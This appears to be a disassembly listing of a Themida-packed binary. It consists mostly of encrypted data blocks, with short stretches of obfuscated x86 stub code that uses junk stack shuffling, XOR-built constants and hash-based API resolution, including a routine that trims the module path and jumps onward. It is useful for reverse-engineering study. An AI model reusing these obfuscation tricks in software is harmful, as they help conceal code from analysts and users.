		dd 0B9FF2875h, 57D767AFh, 50193CAFh, 44862CCAh,	0AF57D744h
		dd 483153Eh, 4DFF2B90h,	0B60026F8h, 5A4561CAh, 0C937733Ah
		dd 0AEEE46E6h, 1A39AC9Ch, 6942EFD8h, 753C60CFh,	85C06E51h
		dd 3AA90F18h, 84D5AA2Ch, 7839D985h, 8734F30h, 0E76A0000h
		dd 0F7D80EB5h, 829B1851h, 2BBACC16h, 19B5FFE2h,	52DF96B6h
		dd 940E859h, 4B4B9310h,	67B5FFE2h, 3B17238Ch, 0C21477DDh
		dd 1A9h, 145DFF65h, 3974168Fh, 0E9856EF4h, 821607ACh, 93377E1Dh
		dd 0D6D7D375h, 82ADAF57h, 48ECB516h, 3A0E589h, 4AF5312Ah
		dd 426C822Ah, 3FAEA0EAh, 0FE50D946h, 5B67A145h,	0DAF583Fh
		dd 3F65A5E7h, 0F45FAF58h, 15B19AA4h, 755505C3h,	0A81C09h
		dd 2A6302A3h, 367B1C85h, 5A1738E9h, 278CC4D5h, 9FDA777Eh
		dd 0E1201912h, 0C0646B34h, 85D73D89h, 5FA356B3h, 0F5BAFEF6h
		dd 49911E57h, 0AF57F845h, 30AAB00h, 74922861h, 0F87CBCCEh
		dd 7E4EAF57h, 7DE2FC13h, 8F277171h, 0A15ECF11h,	139404FDh
		dd 77B3D5A3h, 4DAF584Ch, 31D04103h, 0EBC4B435h,	7EB2D4F2h
		dd 60AF5839h, 0F94DD7Fh, 3971A9D3h, 0F853AF58h,	0CC67A90Fh
		dd 6E13DC1Eh, 0D5AF4643h, 1F3FE043h, 0C52ED452h, 0E34CECA9h
		dd 0A10E43h, 168F145Dh,	30F13E77h, 40E4450Ch, 5CC9A409h
		dd 10BD44D3h, 0ABE6888Fh, 600EF11Fh, 63C08DADh,	58C7514Ah
		dd 644F7B36h, 0BD2E8ACFh, 59BD57A1h, 3AD09BBDh,	308B29FEh
		dd 2E09708Ah, 50FBB600h, 44862CCAh, 0B6002E44h,	1C83153Eh
		dd 7CEA377Ah, 0F59185FAh, 0B9FF6C60h, 0D7F34CEEh, 0A22646A9h
		dd 812018h, 5049E2B6h, 810E0ED8h, 5BF4B600h, 0F9BA13D6h
		dd 891D50F2h, 97D28063h, 0B1FC9E01h, 0C184AA15h, 8133F457h
		dd 573240DBh, 0E5367B36h, 0CE882FEDh, 29763F5Dh, 59E307F0h
		dd 0BCA8912Eh, 201FDA14h, 583FB95Fh, 0D678DB6Fh, 91B17013h
		dd 6D4657DCh, 0D576D7C0h, 29021B98h, 0BA12329Dh, 0BFC5F895h
		dd 21655E36h, 0EFB5E7FAh, 443ABC3Ch, 0CCFAD3B4h, 58BFBAh
		dd 1C3EA1B6h, 9639C751h, 5EC3BCF9h, 59EDA8C5h, 632E50B3h
		dd 604BED3Eh, 0A00DB4E7h, 57D75EA6h, 6E2745AFh,	953D60C1h
		dd 0BF3B283Bh, 38655E05h, 0DD5CC572h, 3B37F853h, 12DFC74Fh
		dd 0EA2E5886h, 0D8AF57F3h, 541B397Fh, 2C000000h, 0AEEA1CBAh
		dd 94AF57D6h, 9DB27DBBh, 618F5BD8h, 57D6E327h, 474385AFh
		dd 3DAF57D7h, 3167D012h, 57D6F337h, 4BB4EEAFh, 0EE3F642Dh
		dd 4950D14Ah, 5A456124h, 5E247439h, 60294FB0h, 0FC3A3EC8h
		dd 0A0E1AF57h, 0FFFFFF84h, 0AEEA1CBAh, 94AF57FBh, 0FF367DBBh
		dd 0BA30155Ch, 2C713459h, 7DBDCFFBh, 47AF57D7h,	0C2DF4CECh
		dd 180DB4E7h, 0B0D33CDAh, 0F474BFF9h, 15DFCAE8h, 3DEFh
		dd 0B4E73000h, 50B3D90Dh, 5C5C6623h, 26AF57D7h,	0BA80AB0Dh
		dd 57D70800h, 7451FAAFh, 52FFDDBAh, 30BA3217h, 45316A41h
		dd 0ABEF1999h, 99AF5853h, 0CE64C5BEh, 63B82D8Bh, 40DFh
		dd 0B4E7FA00h, 59BA180Dh, 3C26723Bh, 57D78E8Ah,	953757AFh
		dd 0AF57D795h, 0FEEBC46Fh, 933B59BAh, 672D7C2Dh, 901DF659h
		dd 0E1D96387h, 0A3AF5893h, 5D3A2088h, 57F652FFh, 92D807DAh
		dd 0C5998E67h, 1059FFE0h, 0D74F4B93h, 0A10AAF57h, 165FF900h
		dd 0E7A57690h, 5076AF57h, 8FF8CF06h, 85E6C057h,	2902AFE6h
		dd 0F3DE008Fh, 90DAFFFFh, 9E3F0D3Fh, 0B0FB3DFBh, 931752FFh
		dd 8B3F8428h, 0AD271h, 6C0FB0B6h, 0B6AFF825h, 0B160EA10h
		dd 0BFCEA195h, 2E65A56Dh, 0F45FB600h, 0FF07C7A4h, 9BB6002Dh
		dd 77636F30h, 96147785h, 11h, 80B8C268h, 42B60036h, 0DF644FE9h
		dd 1, 0EB5E7FAh, 0EF63AED8h, 3B21B5FFh,	0FFEF8981h, 0E7D07BB5h
		dd 2143ACBAh, 325FC068h, 0AFD53377h, 0FFEF1D1Dh, 9E4CE7B5h
		dd 0FFEF2C6Ch, 0FB3D16B5h, 0FFEF536Dh, 652C50B5h, 97DE7E21h
		dd 619ADC0Ah, 0D6211107h, 234978B0h, 1F268F64h,	2D96347Dh
		dd 6DC410Ch, 16C4C4h, 0BC95BEB6h, 0E2D967Ch, 5CFF6047h
		dd 5ECF3215h, 0E6AFCED5h, 18F49982h, 0FF135FCAh, 0B8h
		dd 0EA1CBA40h, 0AF57D6AEh, 0AA7DBB94h, 0D74C5E08h, 0E066F0Ah
		dd 0D8B1FC9Dh, 500BAE3h, 0DCAF57D7h, 1CBA9673h,	54D990B3h
		dd 0CBCED543h, 5CFFEC6Fh, 0E6C33015h, 0AEEA1CBAh, 94AF57D6h
		dd 65284ABBh, 0FE49EF38h, 0DA07E45Fh, 0CAE8F4FDh, 2FEF15DFh
		dd 30000000h, 0EDD530BAh, 0E55F5685h, 0FA41F4B3h, 800BA0Dh
		dd 0FAAF57D7h, 0DDBA7451h, 0FC9F52FFh, 0C52EDCB5h, 524BE8A5h
		dd 0E0C5DDC6h, 2CDFh, 0B4E7FA00h, 0B6AFE685h, 0EB74C610h
		dd 0A36214E2h, 9D2CDD2Bh, 8028D089h, 800BA9Bh, 0D9AF57D7h
		dd 251E5BF8h, 0FFDDBA40h, 0C5321752h, 0FF44DFE0h, 0D83BFFFFh
		dd 72B9FFBAh, 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h
		dd 1D82CB6Ah, 3497130Ch, 7D8F3B80h, 0B5FFF612h,	1C1CAED4h
		dd 0E6B5FFF6h, 0F6424680h, 1700B5FFh, 0FB54FA3Eh, 0F670B4B6h
		dd 0A70CB5FFh, 0CD00FCFEh, 25E71477h, 38000000h, 0D80EB5E7h
		dd 54FAEh, 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0E0C414h
		dd 359E0000h, 0D5DE5A13h, 763F59BAh, 97DE7D22h,	0B5F8990Ah
		dd 0DD94B768h, 0B298A50h, 6CCCDD42h, 3DE9A0C3h,	0BCFCB1D2h
		dd 16AE28D6h, 63E74461h, 2C242276h, 77AF588Eh, 0F23650D4h
		dd 0B1AF588Dh, 5851DE97h, 0CF79AD86h, 0AF588DCBh, 1A59EB9h
		dd 692A15F7h, 58C2DBDFh, 748EA9AFh, 178160F2h, 2A6302ADh
		dd 2B900485h, 9C1E4DFFh, 4BE4B600h, 53E84CFFh, 3E2415B7h
		dd 351EBCABh, 0D74A4791h, 0F805E108h, 0F4241D54h, 0A9E4856Eh
		dd 0DC91B21Dh, 7FF0982Ch, 4A3BF8ECh, 29Dh, 6AB0F9A0h, 0A5E1A4C9h
		dd 93175EFAh, 0C3470230h, 34723F60h, 67080AAFh,	13339C2Ah
		dd 0C567C85Eh, 0F6953E8Ch, 69F36BBFh, 62DDBDFh,	0C463A9B6h
		dd 97135EFFh, 7B8D092Ch
		dd 0AF57D73Fh, 95312A05h, 0D444092Ah, 1CBA416Eh, 0AA6FACDAh
		dd 0D9E1D652h, 0AF5816E1h, 70345A3h, 0FDAF5817h, 683F7952h
		dd 1008B2C4h, 0F2AF5817h, 17367294h, 230CAF58h,	0FB5514Ah
		dd 0C20480A4h, 0AF5816C6h, 7EBA93BCh, 4495E8h, 0C0684BB6h
		dd 8C3E2489h, 0B600448Ch, 0B4E4DD76h, 0FA7CA18Ah, 0B60043BAh
		dd 80A30CD6h, 2BF46FC9h, 77BB332Fh, 0E0DA14h, 0FF6D0000h
		dd 6AAED85Ch, 58AF57D7h, 89906FFh, 45852A67h, 0AF57DB8Dh
		dd 83CE7053h, 4AB0D1Eh,	74922861h, 0C55495E2h, 72A6DA17h
		dd 5AC78EADh, 22D863D1h, 13464284h, 133CAF58h, 0BE2D5F85h
		dd 0A0B60022h, 0CF541D3Fh, 7AB45ADEh, 9C8632D8h, 90A33B47h
		dd 3A91CE4Ch, 15F33720h, 0B35D5DEFh, 0C27B600h,	2B91BACh
		dd 5216A2E4h, 0CBECBCABh, 0D90DE6ABh, 961B52F6h, 0E6C91385h
		dd 92DF8045h, 0E7231C0Dh, 619B1B3Ch, 0BCAB5229h, 0A147301Bh
		dd 0EC7F860Dh, 56D3AC0Fh, 59000001h, 9033773Eh,	0BF60A6E3h
		dd 0E94AD099h, 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h
		dd 41082C97h, 723B5AC5h, 10AAB034h, 0B6062F18h,	0BA87ACEAh
		dd 689E5130h, 0F4258AC7h, 9F9200FAh, 0B8F59619h, 0EBA2C162h
		dd 5CFF705Fh, 74178815h, 225095B5h, 80218E67h, 100996D3h
		dd 4FF84E27h, 16B056EDh, 0B5FFF9EBh, 22487ED9h,	50B422A8h
		dd 36623CD3h, 783CA69h,	73B0F99Ch, 15B10AAAh, 254885AAh
		dd 3F25736Ch, 0AEEEF98Dh, 0B860CBBCh, 0EC7BEA10h, 0BEB21390h
		dd 0C1000000h, 0F85BEFA6h, 27881E5Bh, 51F24801h, 8122783Dh
		dd 9219ADE0h, 5F1233DFh, 8BC668CBh, 0B9F0943Fh,	0EAA3C26Dh
		dd 0E812C85Ch, 0B6062FB0h, 0E7EF5492h, 0B2D80EB5h, 57D71008h
		dd 0DF59F2AFh, 141FF315h, 4AE5B606h, 50193CE5h,	612449AAh
		dd 0C74DEB3Ch, 3370395Ch, 30B55E2Bh, 0CF7771Ah,	0AFF8256Ch
		dd 0C855103Eh, 41E259DFh, 0BBDA1B3Ah, 77D5713h,	0F5EED54Fh
		dd 1008B2A8h, 0F21A3018h, 53776059h, 3062CE70h,	9A332E01h
		dd 0C54FE9C2h, 2D723B5Ah, 6F9BDE74h, 0ADE484h, 0DF228117h
		dd 7262DF6h, 1537984Eh,	53337791h, 26111A30h, 61B7E04Dh
		dd 5C15389Bh, 36ED7h, 0B0490000h, 1158FFCBh, 3970138Ch
		dd 40092BF4h, 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h
		dd 0CD84A47Dh, 0D792BF60h, 5455FA4Ah, 4C5815Dh,	83000000h
		dd 2C8704EDh, 0DA685C24h, 8900006Dh
; ---------------------------------------------------------------------------
		xor	al, 24h
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	eax
		mov	eax, 464A5C56h
		xor	eax, 4D08248Dh
		mov	esi, 0DEC4749h
		xor	esi, eax
		pop	eax
		push	5F7Ch
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	410Ah
		mov	[esp], esi
		sub	dword ptr [esp], 269F7ABFh
		pop	dword ptr [eax+8]
		add	dword ptr [eax+8], 269F7ABFh
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0F8h
		dd 679D0B55h, 0CF8CAD11h
		db 4Eh,	49h, 0BCh
; ---------------------------------------------------------------------------


loc_5AF4CF:				; CODE XREF: Themida_:005AD8DCj
		mov	eax, 6AE5A21h
		add	eax, ebp
		push	eax
		mov	byte ptr [ebp+6A815D5h], 47h
		push	0CF381725h
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		mov	ebx, eax
		lea	eax, [ebp+6A822DDh]
		push	eax
		push	104h
		call	ebx
		mov	byte ptr [ebp+6A815D5h], 53h
		push	8307F8BFh
		push	dword ptr [ebp+6A831F9h]
		lea	eax, [ebp+6A83AC3h]
		call	eax
		mov	[ebp+6AE3D70h],	eax
		cmp	dword ptr [ebp+6A80061h], 0
		jz	loc_5AF539
		mov	ebx, [ebp+6A81F25h]
		jmp	loc_5AF53E
; ---------------------------------------------------------------------------


loc_5AF539:				; CODE XREF: Themida_:005AF528j
		mov	ebx, 0


loc_5AF53E:				; CODE XREF: Themida_:005AF534j
		push	100h
		lea	esi, [ebp+6AE3D74h]
		push	esi
		push	ebx
		call	dword ptr [ebp+6A82C4Dh]
		lea	esi, [ebp+6AE3D74h]
		add	esi, eax
		jmp	loc_5AF55F
; ---------------------------------------------------------------------------


loc_5AF55E:				; CODE XREF: Themida_:005AF56Bj
		dec	esi


loc_5AF55F:				; CODE XREF: Themida_:005AF559j
		cmp	byte ptr [esi],	5Ch
		jz	loc_5AF571
		cmp	byte ptr [esi],	2Fh
		jnz	loc_5AF55E


loc_5AF571:				; CODE XREF: Themida_:005AF562j
		mov	byte ptr [esi],	0
		lea	eax, [ebp+6AE3D74h]
		push	eax
		call	dword ptr [ebp+6AE3D70h]
		pop	eax
		jmp	eax
; ---------------------------------------------------------------------------
		dd 305E4773h, 642CDB69h, 446907D3h, 15328052h, 270CCB24h
		dd 41AFB792h, 7DCEA906h, 5F0F61EAh, 17C459EEh, 697B38h
		dd 51A5E607h, 4FA846A8h, 618AB382h, 53E13748h, 18A08190h
		dd 32EC2AC3h, 3C2E2381h, 0B6F3925h, 670A8F07h, 7713A14Fh
		dd 59D7A365h, 774B266Eh, 2ED99053h, 1B4E4A18h, 7E8h, 0AF32A000h
		dd 700196C3h, 5B12D980h, 14E9h,	0B6942300h, 9A1317C8h
		dd 0DA80BFA8h, 1B9CDBBEh, 7C4062DCh, 95C381BAh,	0F00006Fh
		dd 689h, 0D3C98100h, 687B06F1h,	1BACh, 0AE9h, 65F51F00h
		dd 33D67D9Ch, 58AB0AD7h, 2814EA81h, 3B8B14A8h, 14E8h, 9001B600h
		dd 81DD5202h, 5AA3BFh, 4D5D51DCh, 3F294F1Bh, 59D08B8Dh
		dd 0A9F781h, 0F1811F92h, 62876B1h, 0EF7BC781h, 0EE801D5Fh
		dd 8CC7817Bh, 810B3346h, 76B174F1h, 0CE8B575Bh,	0F08B038Fh
		dd 9FEB81h, 81FC675Bh, 5B009BC3h, 88A0F67h, 0F000000h
		dd 28Eh, 48595700h, 17850Fh, 0ED800000h, 28E9AFh, 37FC0000h
		dd 0B8E5DEEBh, 613B94B6h, 0BD884DF8h, 0E9CA8B83h, 0FFFFFF7Ah
		dd 57045A9Fh, 117D3997h, 90BCCE8Bh, 0BFCC8477h,	1DE93D44h
		dd 85000000h, 353A67h, 6 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5AFC48
; ---------------------------------------------------------------------------
		db 13h,	74h, 3Dh
		dd 6C2946E9h, 9AD375DEh, 0CA8FA30Ch, 0FFB2D37Ch, 858D2CABh
		dd 0B21DA9E4h, 0E649DD90h, 18BB0F46h, 7EEE3C75h, 335E5AECh
		dd 0E624B606h, 9D5CFF39h, 55103EFFh, 0B9E6DFC8h, 0B5B79660h
		dd 0A7ED18A7h, 91B718CEh, 88612850h, 41E24320h,	0B2ABEE84h
		dd 0C386AB14h, 2144EF55h, 3B5ACB68h, 0DF742D72h, 0CDBE159Ah
		dd 773E5D64h, 0A5EC9033h, 0D79EBE61h, 431FB933h, 0C538365Fh
		dd 0F2FF053h, 2244DD42h, 110A47E7h, 0F434568Ch,	0CEAF58B4h
		dd 2F620465h, 0E6226482h, 0DCAF58B4h, 0FEA70C73h, 0BA7B507Fh
		dd 42D891B3h, 52173BA4h, 733A59C6h, 0AC76C57h, 0EA4E276Eh
		dd 0B4B6F179h, 9704AF58h, 8100C0Eh, 62F712DFh, 48000000h
		dd 0AEEA1CBAh, 94AF57D6h, 93B27DBBh, 268955DAh,	1BED4B02h
		dd 0AF57D71Dh, 0ABA7086Fh, 12DFD6BFh, 15Eh, 52FFE100h
		dd 3355F317h, 0AF57D6F7h, 1D1DAFCDh, 0E7AF57D7h, 5CF2534Ch
		dd 732C9F19h, 0C8169BDEh, 24DB0D8Eh, 0B3E44900h, 5731C83Bh
		dd 75305EC1h, 4FD04528h, 0D86E2B48h, 99DD477h, 135EFF22h
		dd 0F078158Eh, 0D6F8304Ah, 61CAAF57h, 57D76159h, 1F0823AFh
		dd 0FDA60F92h, 821855F6h, 0E64B0221h, 0A24FFE78h, 0E92E4A0Fh
		dd 0F1B8E04Fh, 0BE67CCACh, 0DF3C30BCh, 8C5712h,	0BAE80000h
		dd 7919F930h, 1F996CFAh, 0A243EF90h, 0C533D0F8h, 0BB3DE9C2h
		dd 0E6886371h, 7DA053ABh, 990AF93Fh, 0B869B6FFh, 0CF50DD94h
		dd 99912BA3h, 6BAF5870h, 0C74AD7C0h, 0E736C56Eh, 85A6AD76h
		dd 0B0D172C8h, 68D5EA1Ch, 0FF84A59h, 0C96D01A2h, 83E70977h
		dd 0F43912A0h, 0E4F6BF14h, 12DFA2F8h, 791Fh, 5EFF2000h
		dd 77158E13h, 0A5DFF13Eh, 41C11153h, 7CFBD8Fh, 7D9B77FEh
		dd 63A5413Ah, 0AF587027h, 0DE6321Dh, 0B1FC9DA4h, 52FF4E75h
		dd 6F10F317h, 0D515F622h, 0AF57D6D2h, 0BBF8BDD1h, 9A074EEAh
		dd 9EFEA71Ch, 68951FE5h, 441EF750h, 2182CE57h, 3AEB480Dh
		dd 0D1CA571Eh, 0A8E187F8h, 1286120Bh, 12DF1026h, 11C1h
		dd 0A2519B00h, 4BC3D055h, 0B1249852h, 718CE252h, 59FFFC27h
		dd 73129310h, 7D668C3Ah, 1F0895D0h, 57D6B3F7h, 0E2E91AFh
		dd 0E8C1DA47h, 0B71CE340h, 841E7EEh, 10AB09B2h,	0FE3A4CEAh
		dd 0C4AF57D6h, 1CB05E8Ah, 8F7833D9h, 0E9367F1Eh, 48F278B0h
		dd 0B600C6F1h, 6A3B78D3h, 9B0482CBh, 0F66CB1F8h, 0C6FA3E48h
		dd 6FC8B600h, 0C6F93FC9h, 6E45B600h, 5E9FBEC5h,	0F029763Fh
		dd 8D6BCDE6h, 3F28E589h, 6C2548EBh, 84D11BC7h, 4D48F26Dh
		dd 0BFDE41D7h, 4DE6A9F6h, 173798E4h, 63C4D55Ah,	7F2088C1h
		dd 0EB1195DCh, 8B2D6408h, 771F332Fh, 158DA14h, 0E76D0000h
		dd 0F7D80EB5h, 0BFF69257h, 0DF403972h, 0BCA6F2BFh, 6C70Ah
		dd 0D92BDB6h, 62B8F194h, 0EC2C5E84h, 0D6B60006h, 0D1743B7Dh
		dd 6F73355h, 62CDB600h,	0CC375D89h, 6CBDE2A7h, 766A2h
		dd 0A5F35CB6h, 773E5DC6h, 65CE672Ah, 30763F5Eh,	77E6A884h
		dd 5B4F14h, 0EB110000h,	40501261h, 7F877FF8h, 0B6006D3Bh
		dd 788AC768h, 6CB0E812h, 0B992B600h, 0E74368C0h, 0ADDF0BB6h
		dd 2F57D74Dh, 57971C37h, 2F57D753h, 3E632E50h, 278CC965h
		dd 0C756DF4Ch, 4C5BC473h, 10AA50EBh, 0AF57D6F8h, 3F2561CAh
		dd 0D371B0D4h, 2B04159Ah, 0BC039586h, 0A6h, 0EB5E79Fh
		dd 3751B2D8h, 0B0F8317Eh, 0AD7B6h, 72689B6h, 60C8E14Eh
		dd 772875DEh, 0E3099DD4h, 0B070345h, 52FDB600h,	733A59C6h
		dd 0BE72C2Eh, 2953B600h, 42EFA6C6h, 1E5BF869h, 0BB109891h
		dd 1950F3FAh, 0EC9A3A8Dh, 0C040446h, 55FEB600h,	0C6DADh
		dd 3FC57B6h, 692BA5E7h,	3E19BCAEh, 0EE8A75F1h, 8FAE71A7h
		dd 45E82D4Eh, 9D76A70Ch, 0D3F87FA4h, 0D2E15352h, 64B5FAB3h
		dd 0B32D5F8Bh, 0B5C35CC5h, 0C360254Ah, 1F804EEAh, 0BEEF347Dh
		dd 2BB92B24h, 635C42BDh, 87BF3927h, 59C7F7FAh, 1F56F556h
		dd 0B5E79299h, 30AED80Eh, 12B60634h, 82BF439h, 4EE010A0h
		dd 554E71AFh, 7B8D2BD1h, 0B6067C3Fh, 218E2A05h,	64E64B02h
		dd 0E99A81F5h, 7F862F9Ch, 8E7195DCh, 2F78A5E0h,	0FDA00389h
		dd 98B66FB4h, 249150DDh, 718B317Bh, 0E99A8239h,	2788200Bh
		dd 8A4C504h, 9E4B790Bh,	0DF443DE7h, 0EE51D5CEh,	2899064Fh
		dd 3, 0FFCBB003h, 138C1158h, 2BF43970h,	42E34009h, 5FC06D20h
		dd 752E733Eh, 8B1499D4h, 0A47DA2E7h, 0BF60CD84h, 0FA4AD792h
		dd 20DF68h, 24348900h, 0C8568h,	241C8900h, 5E8668h, 24048900h
		dd 6F7FB850h, 0BB5329ACh, 5DDD7441h, 0C15BD821h, 0BB2D08E0h
		dd 2D22700Bh, 59453ADDh, 0A68435h, 58C38916h, 24048B54h
		dd 8304C483h, 1C8904ECh, 8408F24h
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0DEh, 0AAh, 3Fh
		dd 3EE7BD44h
; ---------------------------------------------------------------------------


loc_5AFC48:				; CODE XREF: Themida_:005AF6F4j
		mov	eax, 6AE61B7h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0F1h, 84h, 6Dh
		dd 42076B37h, 8DA83251h, 9E872h, 74FE0000h, 0C52E477Fh
		dd 6613C97Ch, 0B15FD78Bh, 14C78160h, 0F000071h,	118Dh
		dd 0B800F00h, 0E8000000h, 5, 8B99D673h,	7B859D6h, 81741B41h
		dd 0E4DB1EC0h, 0FFEC8A8Bh, 0C9816637h, 8B5B5165h, 24C381F2h
		dd 8B1FCF71h, 0CCC381CBh, 602789E9h, 61F9B70Fh,	0C2DFF381h
		dd 0BF0F6F59h, 561F89F2h, 5AF1BF0Fh, 6602EF83h,	4FDBB9BAh
		dd 0EA81664Fh, 0E881B7CFh, 1, 0FFB9850Fh, 0B966FFFFh, 5E80992h
		dd 52000000h, 0B14A3D03h, 5BC18B66h, 0CE9h, 0D2BC7000h
		dd 0E794D2B5h, 5B5E47EFh, 0D7C3810Fh, 0E9000062h, 0Bh
		dd 4E1FA8FAh, 38E119h, 6818EE0Ah, 1882h, 0DD92BE66h, 0FE95Ah
		dd 0C9460000h, 16B46FF5h, 0D6FAACEEh, 0B0C84952h, 0F50B8B9Eh
		dd 3D9BF181h, 0BA607325h, 71333E6Eh, 2AE6BA50h,	615B316Dh
		dd 3D17E981h, 0EF81610Eh, 3F630C5Ah, 0D2CCC181h, 0BE6675E8h
		dd 0E951F813h, 0Fh, 388FB541h, 51E1502Eh, 45AABCA8h, 8F1016CEh
		dd 8C0F03h, 83000000h, 7E904EBh, 0B2000000h, 8ACA3677h
		dd 0F4A9D7Fh, 0D85h, 0C2B70F00h, 1DE9h,	833A0100h, 0F6811FDAh
		dd 313E5181h, 0FFFF88E9h, 9AB686FFh, 2407F47Dh,	4D0AA971h
		dd 8D8DF592h, 6AE64D1h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0B7C35646h, 662F2F7h,	0E999C23Ah, 7
		dd 91CE8630h, 89C393E0h, 0A805B98Dh, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0B194D460h
		dd 4D6EB782h, 14E942AEh, 0E6000000h, 2F28BCC6h,	0A07C26C8h
		dd 2B5C64ACh, 9FDFB996h, 0C755BE4Ch, 0A8146985h, 65FC06h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 9E815A0Ah, 85235084h, 6A81E75h, 97CA815Bh
		dd 0C70792DAh, 0A80BBD85h, 6, 6E900h, 0FC3B0000h, 13D8BCD6h
		dd 0D41B5FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0EADA84C3h, 0F3A784Ah, 95FFFABFh
		dd 6A820DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	6AC35646h, 8D8ED297h, 6AF9BF0Fh, 3195FF00h, 8B06A81Bh
		dd 1E7CEBC0h, 59D63327h, 0D4253CB2h, 8347DA9Bh,	6021BA51h
		dd 673366B0h, 0F319E057h, 362714Fh, 8C18098Dh, 0B6DE4A48h
		dd 0F10F7B22h, 9C878EECh, 0E1FC5C07h, 0B63BF345h, 6C15FA05h
		dd 0ABB33CA0h, 26025C2Dh, 13B1E756h, 0B365D24Ch, 26CC7D62h
		dd 0A1225448h, 0B10F3BCAh, 0C1412E8Bh, 3EE04623h, 42C89BB2h
		dd 0D53E0D41h, 91C95AC2h, 0D5A203E9h, 4CAE2FDEh, 0BDCCC21Fh
		dd 4750FBFh, 8DA7B398h,	0AE661E8Dh, 0B98D8906h,	0E806A805h
		dd 14h,	0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh, 88082B2Eh
		dd 1DB1BD29h, 0C75806A8h, 0A8146985h, 6E1406h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0C737EF17h, 0A80BBD85h, 6, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0C59896B8h
		dd 0A3B11726h, 0B70FFCA4h, 61B5FFF1h, 6A06A815h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 0C015C357h, 0B47EF2BBh, 1BD018Dh, 0FF06A811h, 0A820DD95h
		dd 5800F06h, 66000000h,	7A58CB81h, 95FF006Ah, 6A81B31h
		dd 0BEBC08Bh, 9CE86986h, 284FB496h, 0E903A9C8h,	4Ch, 4865EDBDh
		dd 0E61D8C93h, 2E81E89Dh, 6C64746Eh, 6C642E6Ch,	1467006Ch
		dd 8003B2BDh, 0FEB9h, 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5B0713
; ---------------------------------------------------------------------------
		push	6AE67B9h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE687Ah
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE690Dh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE69D6h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE6AA8h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AE6B83h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 3Fh,	18h, 51h
		dd 80C56AD5h, 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h, 0A9690897h
		dd 0DE41C588h, 0AB5F1BCh, 3CE7236Ah, 52CA5019h,	3D3A7E88h
		dd 0C208B606h, 29DF65h,	0FFFA0000h, 1788155Ch, 1FE93D74h
		dd 0AF57D717h, 0D48E6C9h, 0A16004ABh, 0BC65CA83h, 3FCD59Ch
		dd 471F5987h, 0FE3E37CBh, 0E7505BDDh, 0AED80EB5h, 0B60005A3h
		dd 0E169B661h, 0B60004A5h, 0C9C96AC1h, 1477F8DDh, 22E38h
		dd 27010300h, 0C9FD46F6h, 0FFED4CBFh, 0E91D36B5h, 84296406h
		dd 0EC31781Bh, 0CE56C2BBh, 0D198BB24h, 0BDD5B4Ch, 7A2E94FCh
		dd 0A61DBFh, 78B0F99Fh,	0C38948F2h, 0D07B80D6h,	0D16ACA53h
		dd 2D049335h, 0F9DA8782h, 76981055h, 658329DDh,	822CE723h
		dd 4872DD87h, 87822D50h, 559F1932h, 3D4FCB6Ah, 87822CFDh
		dd 57736CC7h, 1986CB6Ch, 8122A800h, 577DABE2h, 5921A8D3h
		dd 48CE95Ah, 23460000h,	0DE73DC6Ah, 84A40F9Bh, 0B8D679CDh
		dd 6506A9FDh, 64159228h, 7AC08DAEh, 0B6F4B9D9h,	0E0266F0Dh
		dd 0D1551C3Fh, 35759755h, 0FB6063Eh, 5CFF62C9h,	0DCB5F09Dh
		dd 0DD66D657h, 3F658329h, 57D78D8Dh, 32DC77AFh,	0AF57D6F6h
		dd 0D75A5EE8h, 0F28AF57h, 2C454FFh, 0B600016Bh,	0C1531F59h
		dd 321EA303h, 0C49CCD59h, 0C089AB14h, 0C67DDF68h, 0E573E620h
		dd 0E651BCA8h, 28609AC0h, 1ABCA8E5h, 893FE731h,	55469F28h
		dd 60023163h, 0BE97802Dh, 0CCF3FE08h, 66D15BEEh, 67DC7039h
		dd 366E3943h, 3654629Ah, 26E0ADCDh, 629A35E2h, 689E77A0h
		dd 19ADE487h, 2ADE97B6h, 4690CA84h, 0CBDEA704h,	85000003h
